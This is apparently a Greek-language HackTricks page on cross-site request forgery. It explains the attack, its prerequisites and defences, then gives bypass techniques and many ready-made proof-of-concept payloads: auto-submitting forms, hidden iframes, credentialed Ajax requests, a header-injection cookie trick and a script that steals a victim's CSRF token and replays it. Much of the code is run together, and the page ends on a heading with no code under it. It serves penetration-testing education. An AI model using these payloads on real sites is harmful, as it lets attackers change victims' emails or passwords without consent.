Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Συμμετέχετε στο HackenProof Discord διακομιστή για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εισαγωγή στο Χάκινγκ
Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρετηρίων ευπάθειας που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
Ελάτε στοDiscord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
Εξήγηση Cross-Site Request Forgery (CSRF)
Το Cross-Site Request Forgery (CSRF) είναι ένας τύπος ευπάθειας ασφαλείας που βρίσκεται σε web εφαρμογές. Επιτρέπει σε επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενους τις πιστοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, που είναι συνδεδεμένος σε μια πλατφόρμα θύματος, επισκέπτεται ένα κακόβουλο site. Αυτό το site στη συνέχεια ενεργοποιεί αιτήσεις προς τον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η ανάκτηση εικόνων.
Προϋποθέσεις για μια επίθεση CSRF
Για να εκμεταλλευτεί μια ευπάθεια CSRF, πρέπει να πληρούνται αρκετές συνθήκες:
Αναγνώριση μιας Πολύτιμης Ενέργειας: Ο επιτιθέμενος πρέπει να βρει μια ενέργεια αξίας για εκμετάλλευση, όπως η αλλαγή του κωδικού πρόσβασης του χρήστη, του email ή η ανύψωση προνομίων.
Διαχείριση Συνεδρίας: Η συνεδρία του χρήστη πρέπει να διαχειρίζεται μόνο μέσω cookies ή της κεφαλίδας HTTP Basic Authentication, καθώς άλλες κεφαλίδες δεν μπορούν να χειριστούν γι' αυτό το σκοπό.
Απουσία Απρόβλεπτων Παραμέτρων: Η αίτηση δεν πρέπει να περιέχει απρόβλεπτες παραμέτρους, καθώς μπορούν να αποτρέψουν την επίθεση.
Γρήγορος Έλεγχος
Μπορείτε να καταγράψετε την αίτηση στο Burp και να ελέγξετε τις προστασίες CSRF και για να δοκιμάσετε από τον περιηγητή μπορείτε να κάνετε κλικ στο Αντιγραφή ως fetch και να ελέγξετε την αίτηση:
Προστασία Ενάντια στο CSRF
Μπορούν να εφαρμοστούν διάφορα μέτρα για την προστασία από επιθέσεις CSRF:
Επαλήθευση Χρήστη: Η ζήτηση του κωδικού πρόσβασης του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
Έλεγχος Κεφαλίδων Referrer ή Origin: Η επικύρωση αυτών των κεφαλίδων μπορεί να βοηθήσει στη διασφάλιση ότι οι αιτήσεις προέρχονται από αξιόπιστες πηγές. Ωστόσο, η προσεκτική δημιουργία των διευθύνσεων URL μπορεί να παρακάμψει κακά υλοποιημένους ελέγχους, όπως:
Χρήση http://mal.net?orig=http://example.com (η διεύθυνση URL τελειώνει με την αξιόπιστη διεύθυνση URL)
Χρήση http://example.com.mal.net (η διεύθυνση URL ξεκινά με την αξιόπιστη διεύθυνση URL)
Τροποποίηση Ονομάτων Παραμέτρων: Η τροποποίηση των ονομάτων των παραμέτρων σε αιτήσεις POST ή GET μπορεί να βοηθήσει στην πρόληψη αυτοματοποιημένων επιθέσεων.
Διακριτικά CSRF: Η ενσωμάτωση ενός μοναδικού διακριτικού CSRF σε κάθε συνεδρία και η απαίτηση αυτού του διακριτικού σε μετέπειτα αιτήσεις μπορεί να μειώσει σημαντικά τον κίνδυνο CSRF. Η αποτελεσματικότητα του διακριτικού μπορεί να ενισχυθεί με την επιβολή του CORS.
Η κατανόηση και η εφαρμογή αυτών των αμυνών είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των web εφαρμογών.
Παράκαμψη Αμυνών
Από POST σε GET
Ίσως η φόρμα που θέλετε να καταχωρήσετε είναι προετοιμασμένη για να στείλει μια POST αίτηση με ένα CSRF διακριτικό αλλά, πρέπει να ελέγξετε αν ένα GET είναι επίσης έγκυρο και αν όταν στέλνετε μια GET αίτηση το CSRF διακριτικό εξακριβώνεται ακόμα.
Έλλειψη δια
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
Σημειώστε ότι αν το csrf token σχετίζεται με το session cookie αυτή η επίθεση δεν θα λειτουργήσει επειδή θα χρειαστεί να ορίσετε στο θύμα το session σας, και συνεπώς θα επιτεθείτε στον εαυτό σας.
Αλλαγή Content-Type
Σύμφωνα με αυτό, προκειμένου να αποφευχθούν οι προερωτήσεις χρησιμοποιώντας τη μέθοδο POST αυτές είναι οι επιτρεπόμενες τιμές Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Ωστόσο, σημειώστε ότι η λογική του διακομιστή μπορεί να ποικίλει ανάλογα με το Content-Type που χρησιμοποιείται, επομένως θα πρέπει να δοκιμάσετε τις αναφερόμενες τιμές και άλλες όπως application/json,text/xml, application/xml.
Παράδειγμα (από εδώ) αποστολής δεδομένων JSON ως text/plain:
Κατά την προσπάθεια αποστολής δεδομένων JSON μέσω ενός αιτήματος POST, η χρήση του Content-Type: application/json σε ένα φόρμα HTML δεν είναι άμεσα δυνατή. Επίσης, η χρήση του XMLHttpRequest για την αποστολή αυτού του τύπου περιεχομένου ενεργοποιεί ένα αίτημα προελεύσεως. Ωστόσο, υπάρχουν στρατηγικές για πιθανή παράκαμψη αυτού του περιορισμού και έλεγχο εάν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:
Χρήση Εναλλακτικών Τύπων Περιεχομένου: Χρησιμοποιήστε Content-Type: text/plain ή Content-Type: application/x-www-form-urlencoded ορίζοντας enctype="text/plain" στη φόρμα. Με αυτήν την προσέγγιση ελέγχεται εάν ο διακομιστής χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
Τροποποίηση Τύπου Περιεχομένου: Για να αποφευχθεί ένα αίτημα προελεύσεως ενώ εξασφαλίζεται ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με το Content-Type: text/plain; application/json. Αυτό δεν ενεργοποιεί ένα αίτημα προελεύσεως αλλά ενδέχεται να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να δέχεται application/json.
Χρήση Αρχείου Flash SWF: Μια λιγότερο συνηθισμένη αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου Flash SWF για την παράκαμψη τέτοιων περιορισμών. Για μια λεπτομερή κατανόηση αυτής της τεχνικής, ανατρέξτε στην ανάρτηση αυτή.
Παράκαμψη Έλεγχου Αναφορέα / Προέλευσης
Αποφυγή Κεφαλίδας Αναφορέα
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν είναι παρούσα. Για να αποτρέψετε ένα πρόγραμμα περιήγησης από το να στείλει αυτήν την κεφαλίδα, μπορεί να χρησιμοποιηθεί το ακόλουθο ετικέτα meta HTML:
<metaname="referrer"content="never">
Αυτό εξασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, πιθανώς παρακάμπτοντας τους ελέγχους επικύρωσης σε μερικές εφαρμογές.
Για να ορίσετε το όνομα του τομέα του διακομιστή στο URL που το Referrer θα στείλει μέσα στις παραμέτρους, μπορείτε να κάνετε:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Παράκαμψη μεθόδου HEAD
Στο πρώτο μέρος του αυτού του CTF writeup εξηγείται ότι ο κώδικας πηγής του Oak, ένας δρομολογητής είναι Ͽρισμένος να χειρίζεται τα αιτήματα HEAD ως αιτήματα GET χωρίς σώμα απάντησης - μια συνήθης παράκαμψη που δεν είναι μοναδική για το Oak. Αντί για ένα συγκεκριμένο χειριστή που ασχολείται με τα αιτήματα HEAD, απλώς δίνονται στον χειριστή GET αλλά η εφαρμογή αφαιρεί απλώς το σώμα απάντησης.
Συνεπώς, αν ένα αίτημα GET περιορίζεται, μπορείτε απλώς να στείλετε ένα αίτημα HEAD που θα επεξεργαστεί ως αίτημα GET.
Παραδείγματα Εκμετάλλευσης
Εξυφαίροντας το CSRF Token
Αν ένα CSRF token χρησιμοποιείται ως άμυνα μπορείτε να προσπαθήσετε να το εξυφαίρετε καταχρώντας μια XSS ευπάθεια ή μια Dangling Markup ευπάθεια.
GET χρησιμοποιώντας ετικέτες HTML
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Άλλες ετικέτες HTML5 που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα αίτημα GET είναι:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Αίτημα POST φόρμας
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Αίτημα POST φόρμας μέσω iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Αίτημα Ajax POST
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Κλοπή CSRF Token και αποστολή αιτήματος POST
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Κλέψτε το CSRF Token και στείλτε ένα αίτημα Post χρησιμοποιώντας ένα iframe, ένα φόρμα και Ajax
Ο κώδικας μπορεί να χρησιμοποιηθεί για Βίαιη Επίθεση σε ένα φόρμα σύνδεσης χρησιμοποιώντας ένα CSRF τεκμήριο (Χρησιμοποιεί επίσης την κεφαλίδα X-Forwarded-For για να προσπαθήσει να παρακάμψει μια πιθανή μαύρη λίστα IP):